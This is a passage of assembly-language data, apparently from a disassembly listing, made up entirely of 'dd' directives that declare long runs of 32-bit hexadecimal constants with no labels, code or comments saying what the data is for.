		dd 9E1BB1B2h, 1A2AA002h, 0DB444873h, 0D1525AFEh, 508B0A24h
		dd 0E3564CFCh, 0E01FE97Bh, 0C7408E95h, 0FE4F8607h, 55C0A63h
		dd 2E949A9Eh, 1D3B4094h, 0FF7268C7h, 1F33B000h,	0EE136C18h
		dd 0E06F09BAh, 0C273A5Fh, 973E42D0h, 0EA004459h, 0F68FC9C8h
		dd 5AA20020h, 9AA81439h, 11EF19Dh, 1ACA8253h, 8C91608Fh
		dd 868E42Eh, 92889C65h,	5FD544D6h, 0F25EDC01h, 0D2F069B7h
		dd 976517E8h, 263C0095h, 0EF98FF40h, 0E05DDC3Ch, 0F4FBFA91h
		dd 15941D29h, 0C80E05E3h, 0EF606366h, 2A7294E1h, 58082812h
		dd 6A4D8444h, 2218E289h, 0B469F87Ah, 0F1664200h, 13A3C4E8h
		dd 0B57E19C0h, 0CB86EDh, 48158FC7h, 0CF5F7C2h, 9600C4B1h
		dd 9FBFDF8h, 0C67F1D6h,	2BA0E00Eh, 4DA5B900h, 0FF00051Eh
		dd 0BD70D494h, 0EE12B00Bh, 3258A966h, 0E54EFA10h, 0C78A1800h
		dd 52055DB9h, 0A888B784h, 0D06925DCh, 9CF8A65Bh, 0E84CCE11h
		dd 0E6246604h, 519404E9h, 2458A054h, 823190CEh,	68E59A69h
		dd 0AC885258h, 0D91828BCh, 477215BFh, 0F0097C22h, 0B472F5EEh
		dd 760B6003h, 0C86227B8h, 0BD684B1Bh, 0A953FF00h, 0CC24610Eh
		dd 63101C87h, 0AD9D9CC8h, 1F131B93h, 0DF5E890h,	0A0213162h
		dd 11C596A1h, 0F2158665h, 79C71FC0h, 93A167C2h,	0E6909811h
		dd 0CFB486Ch, 4A910221h, 3915302h, 7C788B6Eh, 0CB0075E0h
		dd 1677A657h, 98EDEFF9h, 0BF6E5058h, 0AD2C0028h, 95C6494h
		dd 0F6E07097h, 3800B891h, 2865F718h, 13810084h,	119DBA94h
		dd 0C90546DEh, 0D86678AEh, 294ACC32h, 0D200CCD9h, 0EF643788h
		dd 235C0019h, 162A91CEh, 6914FE33h, 4F80C806h, 0F4934020h
		dd 42500F3h, 5295242Fh,	25950964h, 0CD06D5Ch, 99A182EDh
		dd 523F0798h, 434FA1D5h, 8AC7D4E6h, 9AD01301h, 8336A190h
		dd 0ADEF128Ch, 0E386D4B0h, 8A0A6D10h, 0CA26C083h, 0A2970371h
		dd 0C3FDDDCBh, 0D8663681h, 0B73944A9h, 0C0C8DC5Bh, 48C9F639h
		dd 25BE047Dh, 0C4C2AEACh, 82F0444Ah, 80861FC6h,	3BC9CC98h
		dd 0B4D0C4AFh, 40A1889Fh, 4AF1B900h, 0D7AC847Eh, 0BF4B03C4h
		dd 166CC303h, 0B39289B0h, 2960665Dh, 6792FC12h,	981E1C28h
		dd 301326ADh, 0EE350800h, 0F5D84E00h, 14A0E6Bh,	1679124Bh
		dd 71CBF84Dh, 0AF2F3073h, 0C5D20404h, 64826DC7h, 87321E8h
		dd 6FE7F801h, 4F43C4B0h, 735E9D22h, 24865DA0h, 5AC3F92h
		dd 0D3EB21D7h, 50228DB4h, 0E7E129BBh, 42BD00A0h, 0F5F37C95h
		dd 0CFC63506h, 20B876A6h, 0FA7DFE15h, 0AB2C23B5h, 43F088F2h
		dd 0CC200C1h, 7740E821h, 92539976h, 6EB403B0h, 0F1C26958h
		dd 40BA494Dh, 0C8764F78h, 53895950h, 0BFDF2520h, 0BD07A822h
		dd 8AE81010h, 0DDC2E8DCh, 0B7D85669h, 0C08088A0h, 8911025Bh
		dd 42A30043h, 2FB136B5h, 0A23322D0h, 0CCE9D8C8h, 0B400C0E6h
		dd 63F3D6AEh, 0E70E2284h, 0DCF2797Ch, 8AB12A81h, 413BC2C4h
		dd 0AB6DCAD8h, 0ED2471B5h, 86060D72h, 0B5AE1691h, 0A9B4200Bh
		dd 7300E557h, 0CC38EFA4h, 71466Fh, 0ACA1CA1Dh, 0E8681A72h
		dd 79D2225h, 0F1345EC8h, 0A9C59123h, 2E9B8078h,	0E47C526h
		dd 0EE22ED23h, 5B03D20h, 0D804FBA8h, 0BAD07951h, 0F8BE5481h
		dd 4E894608h, 40425030h, 22970A63h, 0C082B1F0h,	19C4E0Fh
		dd 0B66F9BA2h, 62969562h, 14E80904h, 99CC49Ah, 0F8C250E5h
		dd 0C8465809h, 0E4149227h, 0C29E0018h, 0E6120FEAh, 0A800F30Dh
		dd 0FB36A6EEh, 4D2CE0F1h, 603B6495h, 58D622C2h,	0A1054BEh
		dd 0E03BD9h, 9ACE46F0h,	2593F1C7h, 0EC1AC1EDh, 0E1AC5460h
		dd 0B5624484h, 3F4A48C4h, 0A4E5AD04h, 0A50361D8h, 739E8251h
		dd 339D80C4h, 1CE30774h, 4FFD237Eh, 533849FDh, 3098B885h
		dd 0C3AF1E98h, 0E9B6100h, 0D855C7BFh, 58720B5Dh, 0E498F8D9h
		dd 109FC17Dh, 0BA218h, 6E4FB16Bh, 77818A2Fh, 63D9E905h
		dd 8408B5EFh, 499C645Ch, 0C40806Dh, 249A536Ah, 17F86F46h
		dd 0EC343067h, 3148FF8h, 58EC3592h, 332BC0F4h, 0A33C22h
		dd 0CFBC0E7Dh, 68D0350Dh, 1F642F48h, 0AF0A15A4h, 0FD89AC3Ch
		dd 52F5h, 7A1BA1EAh, 0D7ADE544h, 81BBC807h, 3FD01E11h
		dd 929B76Eh, 0FA869414h, 0CE283410h, 5C914D80h,	8CC814D8h
		dd 902C44A5h, 718F2E9h,	0B239AFDAh, 0DB611057h,	0FE1EC47Dh
		dd 0D7936A03h, 44B3E012h, 63C85200h, 4FD515Ch, 7200B4A4h
		dd 85261F0Eh, 0B047AB87h, 6F7E04B0h, 85CDFCD4h,	1F60A25Ch
		dd 1C8E9913h, 2F6D6052h, 358627h, 65029EBBh, 41DD2DFFh
		dd 0A8EA80BCh, 0DC8B610h, 0E8684D89h, 2E5C6D2Ch, 4038F699h
		dd 0BD597941h, 5873F712h, 33E6BC04h, 0A49E8C48h, 0F6AD1440h
		dd 7C0C36h, 0DA22EC50h,	76FBA034h, 0FED75812h, 0DDC0201Dh
		dd 78249952h, 3CD5F435h, 57B0F3E6h, 764A9F0h, 0E8365002h
		dd 61589B1Ch, 0FD0DEFACh, 8AD018Eh, 2C2650C0h, 894731Dh
		dd 8A10D94Eh, 944CF853h, 4378E449h, 0DD3E1083h,	47708A00h
		dd 0FBD21868h, 9A8EE404h, 4A3918Bh, 1A9FF905h, 0D2D0CC6Bh
		dd 1209E188h, 819BD166h, 158895ECh, 0F4D97807h,	6C808415h
		dd 161073D6h, 720E25h, 3AAABB86h, 0AB3B9861h, 29658015h
		dd 7D4F1418h, 59AF277h,	0C7BCED79h, 0A2A884D3h,	432E0014h
		dd 0FFA38B39h, 0F69B000Bh, 0FC1BCC7Eh, 0D4094F41h, 82F5CB37h
		dd 11E03424h, 0C054729Ah, 2215BA90h, 8ECF0065h,	0FFF39E50h
		dd 5476BF52h, 413D6627h, 4D1057BCh, 0B8A8190Eh,	0B980D67Eh
		dd 0D4960082h, 4DED3734h, 6400AACFh, 0C9F806E8h, 353E0E4h
		dd 5E85F46Eh, 1002E619h, 0C89990A6h, 8B6C48FAh,	2411978Fh
		dd 246A0D3Eh, 842C8504h, 0A4680820h, 885CDC84h,	61DB3E5Fh
		dd 281E6904h, 832578E0h, 12B3D4F8h, 2094CB30h, 845E43FBh
		dd 0A325847Ch, 0F68850B0h
		dd 888A3444h, 0D6002B9Ch, 2FBCFA20h, 7597335h, 627B2116h
		dd 42683145h, 3C4C6082h, 407999B8h, 50ADCF01h, 999D4427h
		dd 203421h, 0B390C0h, 2516A821h, 59710F97h, 98466119h
		dd 2A0C22B1h, 2E4CCE54h, 20738140h, 0C0A011A1h,	1E00318Bh
		dd 0F13980CDh, 7FF574h,	83B5ADFAh, 294BBD91h, 168DD500h
		dd 0EABA43F2h, 3F530051h, 6856F3CFh, 17128BF6h,	0D80FA5FDh
		dd 82C344A8h, 0B27E565Fh, 5C428030h, 1B869h, 0DA53CB48h
		dd 0A87BF3BCh, 5495A424h, 12E6213Fh, 74E76Fh, 2F2970B5h
		dd 4F82A1Ah, 429D648Eh,	29C8117Ch, 0DE91D443h, 0A6526D00h
		dd 15AA240Ah, 7440F54Eh, 22323FFFh, 35C41CB6h, 74F24069h
		dd 55C76C2h, 0C988EE2Fh, 0F109DFCCh, 99C91715h,	343283D8h
		dd 0FC7B8B84h, 5AD8264h, 19745183h, 0DCFB39CBh,	0A109DA69h
		dd 45B5157Ch, 4D8B04ECh, 30A852A6h, 2B479780h, 0B100076Bh
		dd 0E665C805h, 0EEACAB48h, 8C34A96Fh, 6880806Ch, 0C84DECE3h
		dd 7221CCB8h, 0A8283F9Eh, 0C0981F14h, 812F525Fh, 0E87930h
		dd 9D04FBFAh, 0C0231420h, 0C49E03FCh, 3A7753h, 30FD7DABh
		dd 70795E3Dh, 6FE0AB0h,	0E4497227h, 12A7701Ch, 8B0DFBF6h
		dd 8E4248Ch, 5FC8BC10h,	2F6BDC85h, 0AC9214ECh, 8CC5A008h
		dd 3FE4733Ah, 5C0075ADh, 0E03E1E6Eh, 0D620E8B0h, 0ADD7405Dh
		dd 8CE2934Ah, 39D07C09h, 1819ED82h, 0E5ABE3E0h,	0E1A150A0h
		dd 0D71CA500h, 9B18936Dh, 3BDE8F9h, 3FDE69A7h, 82A268CEh
		dd 3237C484h, 1CFA25B9h, 47D4D3F8h, 944BF644h, 0C804ABF4h
		dd 44CC0E6Ah, 8C6B5CDEh, 839011h, 81A15263h, 2CFF8955h
		dd 11406FE5h, 16FE1317h, 544CE4A3h, 95882321h, 0B9AD008Eh
		dd 457AA253h, 8894024h,	0AC146371h, 10A18058h, 0E1088Bh
		dd 0F5BF777Eh, 1D2422FBh, 6020AD4Eh, 0B6FACAh, 0B4E89C20h
		dd 4498DE99h, 9F5CE748h, 51E542C0h, 40DD53Bh, 0DF6AE95Eh
		dd 0C4D0D420h, 888C165Eh, 6400BB14h, 3358433Ch,	710EDB5h
		dd 8241177Dh, 6B8A2185h, 0A150287Eh, 782070BEh,	274801B3h
		dd 0C6F8CBAEh, 848BD68Eh, 0C8285C72h, 3343D476h, 0BC809622h
		dd 2849068h, 7537765Ch,	20E05472h, 3A842E0Fh, 0DC407894h
		dd 0D2EC535Ch, 913EBC0Fh, 1AFB2A0Ah, 0B09B1354h, 0FA88D2B4h
		dd 8F25224Bh, 0F1289604h, 3CC808FBh, 0AAF473h, 74D4607Ah
		dd 0B6851A16h, 0E804765Ah, 1E22F8C2h, 1286E213h, 78103255h
		dd 0BAA22098h, 27250DF0h, 80A87133h, 96DBE621h,	7400B18Ch
		dd 0FE163E57h, 9EF8F5CCh, 0A40B27F0h, 0F240458h, 0CE64E0E9h
		dd 0D404C84Bh, 56393298h, 0BA24E0DCh, 0D7000E8Bh, 0CF726FF0h
		dd 49DE6A01h, 405390BFh, 0B79D8400h, 7E510442h,	0F07D4403h
		dd 0A5564EC6h, 0A93488h, 20F16F5Ch, 9F112214h, 3F2C29F2h
		dd 4100BE67h, 924C5912h, 0F971131Ch, 8498D0F5h,	2B33E15Fh
		dd 88E04EDDh, 1169555h,	6D14F59Dh, 338F943Ch, 5EC26F0h
		dd 9D4C827h, 2A2001Fh, 0B8D9D6B2h, 5E00476Dh, 0EFF04F32h
		dd 2C6B7BDh, 1AA0BEFEh,	0C844512Fh, 0F051CB65h,	0B44888h
		dd 0A0BA749Dh, 0D38C928h, 92329F02h, 5661AE03h,	0E2051D20h
		dd 17E8D881h, 131CF320h, 1492165Eh, 1E10B2ABh, 0DD409F1Fh
		dd 54B06135h, 0F7D827F9h, 0C2750090h, 3D42ECB8h, 68C59027h
		dd 0F2EA4703h, 0B59AC8E3h, 88E000Eh, 0C3C90C12h, 0B726BE1Ah
		dd 13153825h, 18182570h, 8019B98Ch, 9426CC53h, 0E6627411h
		dd 0D264496Ch, 0B8AAF20Ch, 2A4044D6h, 7DD06Ch, 0ED78DCD7h
		dd 0DD7AF055h, 0E6038F0Ah, 642F9067h, 1626028Ch, 0C625F808h
		dd 741AC60h, 0D72E100h,	3BADDA68h, 5237005Ch, 0A549316Dh
		dd 5A60D44Ch, 0EF8A4010h, 0BCCE0203h, 0D56A8B8Fh, 0F780D0F3h
		dd 59084FADh, 0A5EF0096h, 12890E94h, 9104B03Fh,	0C49E90E6h
		dd 3CAE8081h, 12836E0h,	21207C8Eh, 8039E153h, 0BCE9A08h
		dd 0E02A1581h, 0E50D01A8h, 0CD82EF27h, 202080F9h, 0DE017A28h
		dd 0D0EE03FAh, 98177F3Fh, 13994907h, 11AC2B77h,	0E2B300BBh
		dd 0EAACEF93h, 0A400225Bh, 2BC68E65h, 31D30BD5h, 0DA5933B9h
		dd 21088029h, 4DFA25Bh,	376E03ACh, 0EEE18038h, 90FE28EEh
		dd 15E52800h, 7C475E31h, 0A87200CDh, 6554E7Fh, 530093B9h
		dd 622A36FEh, 0A085F2h,	0A2B5F29h, 892CE93Ch, 0C91AE00h
		dd 0A2073746h, 0BB6E0040h, 8DBDB633h, 0AC00216Ch, 5CB0351Fh
		dd 350287Ah, 83611CFBh,	2BD80E99h, 0F31E8247h, 0B0B18F6Dh
		dd 0F180AE4Ah, 7C8D9A70h, 0E072CBF9h, 0A83CA402h, 8044A327h
		dd 9D384BE9h, 0A80D51AAh, 0A2F3AC00h, 24F9CF1Eh, 8AC4058Ah
		dd 808C25CDh, 7D36C0A0h, 200E9E3h, 928611A7h, 0A61A336Fh
		dd 80B303BCh, 7BB9763Bh, 0F0A4FEEAh, 0F37A406Eh, 0A4E0F6DFh
		dd 0F17E00A4h, 4EE46E79h, 0D100C66Fh, 0E535840Ch, 187849CAh
		dd 990BA7F3h, 49C08C4Ah, 692C8775h, 6FAF0006h, 0F8D4A493h
		dd 21C0804Ah, 6D754835h, 0F5B4001Ch, 0EC49CB46h, 23009A55h
		dd 41BB8921h, 0C3828CF1h, 18A0D331h, 7381E902h,	46B2B96Fh
		dd 0D3924450h, 0C640B548h, 61999A5h, 0AB6FBAB1h, 864489B8h
		dd 7C77810h, 0F588267Fh, 0A0D4501Dh, 4400EF62h,	6FCF0C3Ch
		dd 35EAA3h, 3FAB4056h, 34D8D5B5h, 54AC0301h, 0CFF14AE3h
		dd 43B23440h, 0D8D20464h, 202BDD4Dh, 3A76655Dh,	96817AB4h
		dd 2A3A25A1h, 26C88871h, 546B445Ah, 4002C064h, 74DE26h
		dd 0CA9DC11Eh, 460F0D87h, 1AE4123Dh, 0A4414AE1h, 1C47180Ch
		dd 15F4619Dh, 0F3D040FDh, 0F97D9Ch, 48B4AA3Eh, 2488A8EDh
		dd 0B751FF80h, 1ABC86h,	0C02C0C81h, 0F1CCD7F7h,	7413A0A0h
		dd 2923B80h, 587A7832h,	0A89809BBh, 0D3E09DD9h,	0A780F300h
		dd 0D1605F66h, 40E1297h, 0C988232Ah, 0D373710Ah, 7C40ECB4h
		dd 0CB56BDDh, 557AFCB9h, 1D22D1C0h, 846D2AD5h, 0CCEB1D1Ch
		dd 16A20C62h, 17F87741h, 6C9BE124h, 1E3188A0h, 0F2CD2169h
		dd 250129BEh, 1D701FA5h, 6A75DCA9h, 3E944301h, 42EE1C32h
		dd 40316830h, 2D1F294Ch, 0FCC03318h, 98B2BB61h,	89D6584Ah
		dd 27196400h, 3E1FBEA9h, 96F42309h, 125C841Dh, 28226032h
		dd 4668468Dh, 0B9FF02A2h, 2FE36B3h, 0BD2099A8h,	0F212DD33h
		dd 9335001Ah, 0EF9DBDAh, 960F15E4h, 64F28D5Fh, 44C8217Fh
		dd 0CBDC02B5h, 7212AAE9h, 5B0A3040h, 0B2A24484h, 0DCFBE8A0h
		dd 50695A80h, 1AF86E8h,	41262EA7h, 0F4AB74A3h, 0D4006E39h
		dd 0CC23A29Ah, 0C0EFCD91h, 7DEAC1B9h, 2262EC47h, 115AF668h
		dd 7BD1259h, 2404F833h,	509038FFh, 0A4526EF3h, 457912E8h
		dd 0FE1600EBh, 0CD196A12h, 0FF324E00h, 18E129ABh, 3CD200F5h
		dd 0E417EA27h, 0F062CD90h, 0F7F8BE89h, 1155D4E0h, 3F805900h
		dd 0ED2DF247h, 6F5F064Dh, 80DAB1F0h, 16620D11h,	2C256D11h
		dd 4D40444Ah, 0C66293h,	92BD26A2h, 0CF752B7Eh, 0FD397910h
		dd 13EEB511h, 0AC25A428h, 0D11F5801h, 0E18037E6h, 832F6AADh
		dd 74583D34h, 21A9CF9Ch, 7C08C13Bh, 42D81460h, 838A7829h
		dd 31DB670h, 1BA94F69h,	1106A5EEh, 55646021h, 8217E698h
		dd 0F3A33C40h, 47363900h, 76B319C6h, 3AD70010h,	0DBF06282h
		dd 430B88A8h, 801C08B5h, 1B6BE3FAh, 0A9763E3Dh,	105C40A4h
		dd 9435C9E6h, 0ABDB0010h, 5268B7ECh, 0F602268Fh, 646C2DC2h
		dd 73BB02C1h, 35062407h, 892904F1h, 9014A6D3h, 25812378h
		dd 82601E58h, 912AA0F3h
		dd 0FA108BC4h, 0D90367E2h, 5E7699C0h, 0AE85F09Bh, 8DD50019h
		dd 182F78CCh, 0F601E23h, 74894049h, 0C32CB079h,	4622CD20h
		dd 0A9F1700Ch, 4DE159D2h, 3400ACF2h, 92ABED5Ch,	6400361Dh
		dd 0A2B07145h, 980C37Bh, 0C6FC70A5h, 26A36C01h,	0C65A12FEh
		dd 0DA3F4434h, 6AC12260h, 66050Bh, 643BA1ECh, 9095971Ah
		dd 0D8A90D07h, 4C51A5FDh, 94704868h, 0C264883Dh, 2E9CD400h
		dd 5090CB79h, 66470094h, 238ADA4Bh, 10000A73h, 0E6BADB9Bh
		dd 0B05A211Eh, 2FEB21E0h, 91E1C43Dh, 652E00B0h,	0C0FCA892h
		dd 5AC293Eh, 287118A4h,	599F009h, 0BC22AB38h, 443621AAh
		dd 0BB1BC004h, 73276900h, 62D71C6Ch, 5E998F6h, 7AF55B0Dh
		dd 5A604E9Ah, 3DEDAFh, 509E39F6h, 5EF81C2Dh, 0B57DD600h
		dd 0FCB1C899h, 72491428h, 0AA0AC0CCh, 44A014A2h, 1B3A4021h
		dd 108CAC3h, 0F39F54DFh, 0F996B233h, 0EDB0ECE3h, 36808CB1h
		dd 9F45BBC3h, 1E7A0E46h, 8A410BDEh, 40DDC1F4h, 0E63B2E90h
		dd 8867CF80h, 0F360CD7Ah, 0B17DCE79h, 3DA0004h,	0F0CA914Bh
		dd 0A01BB93h, 0E5360685h, 0A0CAE12Ch, 68BFBAA8h, 0FE6F0077h
		dd 4DBE12DAh, 0E77E033h, 7C12367h, 0F1B71FA7h, 0B89D1053h
		dd 2C2F8DFh, 780EEB02h,	48607976h, 6084B268h, 821D6117h
		dd 0CB06FFAEh, 0CF3E2B77h, 58E048E8h, 0B64EF680h, 1B03709h
		dd 5D268100h, 48E654F5h, 0D70B4892h, 0E39BC706h, 8003E122h
		dd 0B4144ED3h, 8B30D95Eh, 2B2BCE0h, 4368F589h, 0E5E2CF2Ah
		dd 48B82087h, 99000591h, 5C83A757h, 0C31E0F76h,	1B40508Fh
		dd 0F3E28ED2h, 60544CDBh, 881E5C10h, 3BE14392h,	0DAEB4903h
		dd 881C5499h, 24EECB7Dh, 443C1F7Ah, 0B83D40A9h,	47C1E9Fh
		dd 0B2B4791Ah, 0FEFA8335h, 782EE7D0h, 100096B8h, 73164802h
		dd 0BA359B2h, 83778ECCh, 8198B488h, 0DB755679h,	94B44178h
		dd 405808BBh, 0D8B84016h, 126C8D44h, 83800BB5h,	693DE27Ch
		dd 2A24409Ah, 2AC0FC19h, 445CA6F3h, 0DD00D2A8h,	2152CDFh
		dd 966B44h, 0B2FF41B3h,	54C9A578h, 4AD6CD13h, 5E824405h
		dd 2B851480h, 0DB41C0A7h, 3E9E74FEh, 0B2417503h, 304CE925h
		dd 0C0207952h, 1AF6836Fh, 0C033EC91h, 2855A48Bh, 4474902Ah
		dd 0A7002861h, 7EB803D0h, 0C0F1E154h, 2EA84BC9h, 2C005194h
		dd 0F7FDD2Fh, 0AD5E8FAh, 0DA6249D3h, 8094A9A4h,	0D9F08F56h
		dd 7801A73Bh, 4A339770h, 98F8C936h, 0E1FD2E59h,	18AE00DCh
		dd 8B7F55A5h, 0CEB8CD09h, 0A2FC82A7h, 7AB89011h, 0D3500F1Dh
		dd 74401B1Ch, 0BB2AE86Ah, 29753200h, 0EF6941FAh, 16E6908Bh
		dd 0E06CE6Fh, 37E8D2A0h, 9978F38Dh, 0C863BE0h, 0DB8EF126h
		dd 0D870B261h, 27D3B8ABh, 80762938h, 6660383Eh,	73F554F6h
		dd 621E034Bh, 0D04264FFh, 26DA6018h, 24BA5931h,	451B80h
		dd 69C3FE5Bh, 0AA09686Eh, 603D6CFDh, 8954A6C8h,	22E9C05Ah
		dd 4CC8854Ch, 10F97D70h, 4979655h, 2B6DEEE2h, 19730099h
		dd 0B0A5CCBh, 0A628045Dh, 0D6FD2490h, 5D38223h,	0FF02FF2h
		dd 0A7E03528h, 0AA764A70h, 0A2EEE90Ch, 728955h,	818E1319h
		dd 46A3797Dh, 0C19D1F03h, 0C22B99BFh, 190882CEh, 761487FBh
		dd 83290100h, 7A2BE85Dh, 40630089h, 1DDC85ECh, 0D778AAA0h
		dd 0BC43DB4Eh, 0F8AF117Dh, 162237Fh, 0DE9CA1ACh, 9C8F22B9h
		dd 43803F78h, 11D9C924h, 0B4D200F9h, 49910F09h,	8D00DCB5h
		dd 53E6FC2Eh, 0B12BA87h, 0EEF4192Fh, 2EF80814h,	0E026B507h
		dd 2300D466h, 1F1370F9h, 493F90AFh, 35856F33h, 0D1849130h
		dd 0A07A10DBh, 1A5E1DDCh, 6F73C0BEh, 0A28DF11Fh, 2344C094h
		dd 0CC492943h, 0B1013A7Ch, 0E7FCF143h, 7C72CD30h, 93498900h
		dd 5ABE0646h, 79225400h, 58BFAEE5h, 738C0343h, 37CFE1FFh
		dd 0A9AA8911h, 42F487Bh, 166F1A81h, 0D00C80C4h,	0CC8048D8h
		dd 5C837CF6h, 916B9CDDh, 4BA0081h, 0D0850454h, 2B40F830h
		dd 0EF1A0372h, 370225E2h, 77C6148h, 0DFAD78FAh,	4AD46189h
		dd 89033432h, 3E295465h, 30702FE0h, 2E560400h, 6016CB8Ch
		dd 0F0C2138Bh, 0AC6488AAh, 360BB709h, 1A2C85CCh, 0E81DE8C8h
		dd 0E37900DFh, 7B09E1CFh, 0BC01D264h, 7F73AE0Bh, 0D6F525E0h
		dd 0EBF08048h, 33183E00h, 0B7003A70h, 0C1EBE21Fh, 3835B78h
		dd 0CAFB59D2h, 810118DAh, 3681543Bh, 0A852E0FEh, 0B6D321A8h
		dd 221422FAh, 2CF1000Bh, 6DC4990Ch, 0DF041830h,	56A9B7AAh
		dd 202204D2h, 8C257DC6h, 17A6EE00h, 7770FE64h, 823B0935h
		dd 0F002ABD8h, 0F094720h, 859708B4h, 81B1AF6Ch,	31A36009h
		dd 20B4040Dh, 73AA3EDCh, 250E2891h, 0BB6842A5h,	7814604Ah
		dd 0A7C08A0Dh, 0A1DDBB5h, 6F3D5541h, 6702C019h,	0DD53F7E3h
		dd 8EDD87E0h, 502AF71Dh, 23421132h, 602BAD3Eh, 83393491h
		dd 314D03E5h, 7B2FB949h, 3EB06883h, 0A80B78B7h,	37C57C3h
		dd 1A0FA76Ch, 41182469h, 0A491C050h, 6FAF7881h,	0D42DB767h
		dd 40123422h, 2C083D1Eh, 8357476Fh, 410327CDh, 63D0DFF4h
		dd 0ACAAA8D7h, 4CFA0013h, 1A8DE65Fh, 230CCE5Eh,	7922260Dh
		dd 880B5678h, 0CE4AB002h, 0E0708146h, 98527721h, 764039CAh
		dd 5BC4AE01h, 7731519h,	0F86067F1h, 0ACD916DEh,	97040855h
		dd 83287A80h, 2BC761h, 0BC026450h, 0D701F61Fh, 1A5C4F00h
		dd 87D32FF7h, 0DC7A14EBh, 1403F896h, 4F6FF383h,	1F1AA101h
		dd 79BB33CDh, 7D28C6E6h, 0A1901Eh, 6ACA17E1h, 2B588EE0h
		dd 0B8C0FFECh, 425C0153h, 0B8BB17AAh, 3488081Eh, 3580529Fh
		dd 68EEC25Eh, 0FC310036h, 0EA30B28Ah, 90009817h, 0B8E1D248h
		dd 0E0E4D49h, 5F82D7B5h, 0B9282D80h, 0A6F8A80Ch, 0FD27501h
		dd 0E30EFFBEh, 0CFE80AF5h, 0AEAA00D0h, 663734C0h, 76EEAB83h
		dd 0BA1D0428h, 12D4531Dh, 186F00BAh, 159EA3E0h,	0DE81Ch
		dd 34BBA0F2h, 0AD3871BAh, 2FBDD603h, 0B868C763h, 890872h
		dd 40F7D110h, 2218716Ah, 48774B01h, 0F45DA342h,	7FC04083h
		dd 81BCCDF7h, 0FC83075Ah, 0E800A63Fh, 4D3C6312h, 60A21EDCh
		dd 0F913710Ch, 0A00AE6Fh, 0C4FD2D95h, 25156148h, 5DCB18Dh
		dd 0A3FBC603h, 6F311C13h, 695B009Ch, 8AB3BA21h,	6E75BC00h
		dd 3EB015D5h, 1129C3E4h, 0E0A3C37Ch, 0D305AFC1h, 87E11919h
		dd 11810EB0h, 3E3CC685h, 3B6BD01Dh, 0FD1AEA00h,	9A67392h
		dd 0E808611Ch, 88108C42h, 27EAD1h, 4CBB9DE9h, 74003D13h
		dd 9EE34DEFh, 0CBC15BFh, 7E79107Bh, 5064081h, 0F7DA1250h
		dd 10A43089h, 47244581h, 8F906A00h, 0E485AD1Fh,	2B4339A8h
		dd 6B3FCD80h, 0E85F8EF5h, 3AFF91Dh, 76227028h, 18CD989Fh
		dd 10AB3847h, 19C7B99Dh, 9A805208h, 0B529E3h, 56172E64h
		dd 0F883D96Bh, 48C81350h, 0A3BBF008h, 0AF478FEAh, 0AD00A9AFh
		dd 1D714D5h, 89C60D1h, 3F76489h, 7C3C18E0h, 85E0E2C3h
		dd 3530C020h, 10B0E1ECh, 898A6374h, 190090D9h, 0A1EDE97Eh
		dd 6E1C80h, 74350A7Bh, 2A85AC96h, 854A243Eh, 0A5A31E6Bh
		dd 0C3437404h, 0E7372020h, 0F7DBF804h, 18C06D08h, 0BE5825h
		dd 5C4E9413h, 3DBAF9BFh, 3A4F1800h, 0AAF5D741h,	0E4C050DBh
		dd 357E0251h, 27AD7463h, 0F5090440h, 0D9C3F9CCh, 2DE04FDh
		dd 0EBDB456Ch, 28757300h, 0B017BC81h, 0A4EF5116h, 0CDAA9C0h
		dd 0B09AC083h, 53003BA1h, 0E7DB6310h, 0E57A8h, 98C7870h
		dd 49E6ECCAh, 0A084C3B0h, 52E7C303h, 0E0F4F3BEh, 0A99D2B5Dh
		dd 0EE1085E0h, 0E1035672h
		dd 0E6C9F44Eh, 3205B0A2h, 0F95B0010h, 266289EDh, 6F0039B2h
		dd 83C120DEh, 0C3A27411h, 0FFA5A841h, 0C3CC90ECh, 0C4A8BC20h
		dd 7D00F606h, 4165DDBEh, 0A3CE9A2h, 0DC3EAFF8h,	0A6C080BCh
		dd 0A967DB4Ch, 8BA810A0h, 0E0989354h, 7B22ED00h, 2E44F4EAh
		dd 0E69D485Fh, 39AA92Eh, 14B55EACh, 0A3221114h,	15C01E14h
		dd 0EBE07B40h, 6048DAF2h, 866951FCh, 73005F18h,	499C7EB7h
		dd 1FCAE779h, 0D5E27Fh,	3C38A9BBh, 0D4F74206h, 9C00956Ah
		dd 0BFC2B59Fh, 3AF350Bh, 56D9B0C7h, 0D0A7ECE5h,	1EA3745Eh
		dd 0CD7DEF00h, 0B8DF2702h, 52E3004Ah, 0C93CDB72h, 0B405B0C1h
		dd 8ADA57ECh, 4EB59040h, 776DF4CEh, 0C265007Ch,	0FF58E42Fh
		dd 56756B8Bh, 64058403h, 0A01E95D4h, 3EF90EAh, 0E362AC5Fh
		dd 49F0F951h, 0EB006DFFh, 8455C30Ah, 0E5F6A3h, 1551A971h
		dd 66617B2Eh, 0D00C8579h, 2804BED5h, 0DE8F78B5h, 69FC0D30h
		dd 8516F008h, 591FAD0Ah, 0D500A7B6h, 0E1789DDFh, 0EA20C14Dh
		dd 0C0442058h, 4F0076A0h, 89FC146Eh, 0C0E19A7h,	3D0A6773h
		dd 0D6606B89h, 2A707D61h, 0D8F487h, 4BC366FBh, 0BAF1F8D2h
		dd 89A05900h, 0FD8FA9F3h, 0EE00679h, 0A9BF4D63h, 8C00CC98h
		dd 4829B376h, 35E97ACh,	40AAA238h, 27D0E022h, 6E3B7EE4h
		dd 625A8046h, 0BAA5598Bh, 5EDB1560h, 0FC182C08h, 0F198E96Fh
		dd 1DF66B0Eh, 546E476Ch, 718C8BC0h, 0C13660EBh,	7C0A3B44h
		dd 540138F0h, 4CDBF713h, 6FC4FBEBh, 0AD3F306Ch,	71C48B28h
		dd 0DE88B518h, 6F6763F1h, 3503C137h, 793E5458h,	17B70632h
		dd 38E8E9A9h, 29600D67h, 4E570FEEh, 0A2EF8300h,	32ADC2B9h
		dd 0D0733885h, 8DC8DA9h, 0C880C58Ch, 0AFE70FE9h, 3235F6B1h
		dd 4A697D5Dh, 6647A090h, 67885B00h, 13E79E9Ah, 4B8207B1h
		dd 3018D081h, 78AE60D3h, 0F78B713Fh, 9101C137h,	0D6EFFE0h
		dd 39A71C38h, 5E183A0Bh, 0AD89A863h, 9600F0A6h,	4A3C2A22h
		dd 24C9158h, 8C7D43CAh,	0E2E06CACh, 630C6F07h, 307B33ECh
		dd 0A018055Ch, 8684335h, 91808C58h, 0D972E7C7h,	0E8970C33h
		dd 18E16B0Fh, 0EFED6903h, 14501984h, 5897D239h,	71BC8D05h
		dd 64C84C78h, 9E0383A8h, 0B607CB5Ch, 37E9D02Dh,	7012623Fh
